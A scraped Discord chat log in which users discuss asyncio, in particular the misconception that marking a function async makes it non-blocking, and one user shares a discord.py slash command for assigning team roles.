Return a coroutine that can be awaited to get the eventual result of *func*.

This coroutine function is primarily intended to be used for executing IO-bound functions/methods that would otherwise block the event loop if they were ran in the main thread. For example:
sick birch
#

It's like doing:

async def adder(num1: int, num2: int):
  return num1 + num2
#

There's no point in doing that

#

And a lot of calls are atomic, like nullptr mentioned

slate swan
#

you mean useless functions?

sick birch
#

For example print()

sick birch
slate swan
sick birch
#

same person

slate swan
#

😔

sick birch
#

or was it

slate swan
#

😅

sick birch
#

i honestly don't know

#

you get my point however

pliant gulch
#

Been seeing around lately a common missconception is making a function a coroutine function will suddenly just make it asynchronous and not blocking

blissful sparrow
slate swan
#
@slash.slash(name="Sign", description='Sign a player to a team')
@has_any_role('Franchise Owner', 'General Manager', 'Head Coach', 'Assistant Coach')
async def sign(ctx, team: discord.Role, *, user: discord.Member):
    await user.add_roles(team)
    embed = discord.Embed
    embed = discord.Embed(title="Signing Completed", description=f" {team.mention} Signed {user.mention}") 
    embed.add_field(name= "**Coach** {ctx.author.mention}", inline=False)
    embed.set_author(name=f"{ctx.author}", icon_url=str(ctx.author.avatar_url))
    await ctx.send(embed=embed)
    role2 = ctx.guild.get_role(961079410050605106)
    await user.remove_roles(role2)```
pliant gulch
slate swan
pliant gulch
#

I’m not saying it won’t block, I’m saying the opposite